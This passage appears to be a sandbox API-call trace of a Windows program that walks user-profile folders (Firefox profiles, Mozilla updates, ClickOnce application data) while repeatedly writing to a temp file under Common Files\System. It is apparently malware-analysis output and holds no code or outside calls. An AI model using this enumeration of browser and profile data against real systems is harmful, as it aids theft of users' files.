lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xe000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xda0b, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.130] AreFileApisANSI () returned 1 [0128.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.130] GetFileType (hFile=0x198) returned 0x1 [0128.130] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xe000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xdb19, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.130] AreFileApisANSI () returned 1 [0128.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.130] GetFileType (hFile=0x198) returned 0x1 [0128.130] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xe000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xdc27, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.131] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.131] GetLastError () returned 0x12 [0128.131] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.131] GetLastError () returned 0x12 [0128.131] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.132] GetLastError () returned 0x12 [0128.132] AreFileApisANSI () returned 1 [0128.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.132] GetFileType (hFile=0x18c) returned 0x1 [0128.132] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.132] AreFileApisANSI () returned 1 [0128.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.132] GetFileType (hFile=0x190) returned 0x1 [0128.132] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.222] AreFileApisANSI () returned 1 [0128.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.223] GetFileType (hFile=0x194) returned 0x1 [0128.223] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.285] AreFileApisANSI () returned 1 [0128.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.285] GetFileType (hFile=0x198) returned 0x1 [0128.286] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xf000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xe012, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.286] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.286] GetLastError () returned 0x12 [0128.286] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.286] GetLastError () returned 0x12 [0128.286] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.286] GetLastError () returned 0x12 [0128.286] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.286] GetLastError () returned 0x12 [0128.286] AreFileApisANSI () returned 1 [0128.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.286] GetFileType (hFile=0x188) returned 0x1 [0128.287] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.287] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.287] GetLastError () returned 0x12 [0128.287] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0128.287] GetLastError () returned 0x12 [0128.287] AreFileApisANSI () returned 1 [0128.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0128.287] GetFileType (hFile=0x184) returned 0x1 [0128.288] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0128.288] AreFileApisANSI () returned 1 [0128.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.288] GetFileType (hFile=0x188) returned 0x1 [0128.288] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x100, dwReserved1=0x887d70, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.288] AreFileApisANSI () returned 1 [0128.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.289] GetFileType (hFile=0x18c) returned 0x1 [0128.289] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.289] AreFileApisANSI () returned 1 [0128.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.289] GetFileType (hFile=0x190) returned 0x1 [0128.289] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x8879f8, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.289] AreFileApisANSI () returned 1 [0128.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.289] GetFileType (hFile=0x194) returned 0x1 [0128.290] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x8879f8, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.290] AreFileApisANSI () returned 1 [0128.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.290] GetFileType (hFile=0x198) returned 0x1 [0128.293] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xf000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xe635, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.293] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.293] GetLastError () returned 0x12 [0128.293] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.293] GetLastError () returned 0x12 [0128.293] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.293] GetLastError () returned 0x12 [0128.293] AreFileApisANSI () returned 1 [0128.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.293] GetFileType (hFile=0x18c) returned 0x1 [0128.293] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.294] AreFileApisANSI () returned 1 [0128.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.294] GetFileType (hFile=0x190) returned 0x1 [0128.294] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.295] AreFileApisANSI () returned 1 [0128.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.295] GetFileType (hFile=0x194) returned 0x1 [0128.295] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0xf000, nFileSizeHigh=0x0, nFileSizeLow=0xe91f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0128.295] AreFileApisANSI () returned 1 [0128.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.295] GetFileType (hFile=0x194) returned 0x1 [0128.295] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0xf000, nFileSizeHigh=0x0, nFileSizeLow=0xea44, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0128.295] AreFileApisANSI () returned 1 [0128.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.296] GetFileType (hFile=0x194) returned 0x1 [0128.296] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.347] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.348] GetLastError () returned 0x12 [0128.348] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.348] GetLastError () returned 0x12 [0128.348] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.348] GetLastError () returned 0x12 [0128.348] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.349] GetLastError () returned 0x12 [0128.349] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0128.349] GetLastError () returned 0x12 [0128.349] 